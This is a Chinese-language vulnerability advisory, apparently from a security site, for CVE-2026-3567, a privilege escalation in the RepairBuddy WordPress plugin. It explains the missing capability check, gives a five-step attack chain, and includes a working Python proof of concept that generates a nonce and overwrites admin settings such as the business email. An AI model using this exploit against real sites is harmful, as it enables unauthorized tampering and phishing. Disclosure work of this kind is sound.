IPBUF安全漏洞报告
English
CVE-2026-3567 CVSS 5.3 中危

CVE-2026-3567: RepairBuddy插件权限提升漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-3567
漏洞类型
权限提升
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
RepairBuddy WordPress Plugin

相关标签

WordPress权限提升RepairBuddy访问控制CVE-2026-3567

漏洞概述

WordPress RepairBuddy插件在4.1132及之前版本中存在权限提升漏洞。该插件暴露了两个AJAX处理程序,当结合使用时,允许任何经过身份验证的用户修改管理员级别的插件设置。攻击者可利用`wc_rb_get_fresh_nonce`函数生成有效Nonce,进而调用`wc_rep_shop_settings_submission`函数,在无权限检查的情况下更新商家名称、邮箱、Logo等关键配置,导致网站业务信息被恶意篡改。

技术细节

该漏洞的核心在于插件对AJAX请求处理中的权限验证缺失。首先,`wc_rb_get_fresh_nonce`函数被注册为`wp_ajax`和`wp_ajax_nopriv`钩子,这意味着任何用户都可以通过传递`nonce_name`参数来为任意操作生成一个合法的WordPress Nonce,且该函数不进行任何能力检查。其次,`wc_rep_shop_settings_submission`函数负责处理插件设置更新,虽然它验证了请求中的Nonce(`wcrb_main_setting_nonce`),但在调用`update_option()`函数修改超过15个插件选项(包括业务名称、Logo、GDPR设置等)之前,并未执行`current_user_can()`检查来验证用户是否具有管理权限。攻击者只需先通过第一个接口获取Nonce,再利用该Nonce欺骗第二个接口,即可绕过权限控制,以低权限身份篡改管理员配置。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者注册或获取一个WordPress网站的订阅者级别账户,获取有效的会话Cookie。
STEP 2
步骤2:生成有效Nonce
攻击者向`/wp-admin/admin-ajax.php`发送请求,调用`wc_rb_get_fresh_nonce`函数,指定`nonce_name`为`wcrb_main_setting_nonce`,以此生成用于修改设置的安全令牌。
STEP 3
步骤3:构造恶意请求
攻击者利用获取到的Nonce,构造包含恶意参数(如修改商家邮箱、Logo等)的POST请求,目标指向`wc_rep_shop_settings_submission`处理函数。
STEP 4
步骤4:执行未授权修改
服务器端验证Nonce通过,但未检查用户权限,直接执行`update_option()`更新数据库中的插件配置。
STEP 5
步骤5:达成攻击目的
插件设置被成功篡改,攻击者可能进一步利用修改后的配置(如支付邮箱)进行钓鱼或破坏业务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "https://example.com" # Attacker needs a valid session cookie (e.g., subscriber level) cookies = { "wordpress_logged_in_xxx": "your_cookie_value_here" } # Step 1: Generate a valid nonce for the settings update action # The vulnerable function allows generating nonces for any action nonce_payload = { "action": "wc_rb_get_fresh_nonce", "nonce_name": "wcrb_main_setting_nonce" } try: response = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=nonce_payload, cookies=cookies) nonce_data = response.json() valid_nonce = nonce_data.get('nonce') print(f"[+] Generated Nonce: {valid_nonce}") # Step 2: Use the nonce to update admin settings # The vulnerable function checks the nonce but not user capabilities settings_payload = { "action": "wc_rep_shop_settings_submission", "wcrb_main_setting_nonce": valid_nonce, "business_name": "HACKED BY CVE-2026-3567", "business_email": "[email protected]", "menu_label": "Pwned" # Additional options can be modified here } exploit_resp = requests.post(f"{target_url}/wp-admin/admin-ajax.php", data=settings_payload, cookies=cookies) print(f"[+] Exploit response status: {exploit_resp.status_code}") print(f"[+] Response body: {exploit_resp.text}") except Exception as e: print(f"[-] Error: {e}")

影响范围

RepairBuddy <= 4.1132

防御指南

临时缓解措施
建议立即将RepairBuddy插件升级到4.1132之后的版本。如果暂时无法升级,应考虑禁用该插件以防止攻击者利用此漏洞篡改网站配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表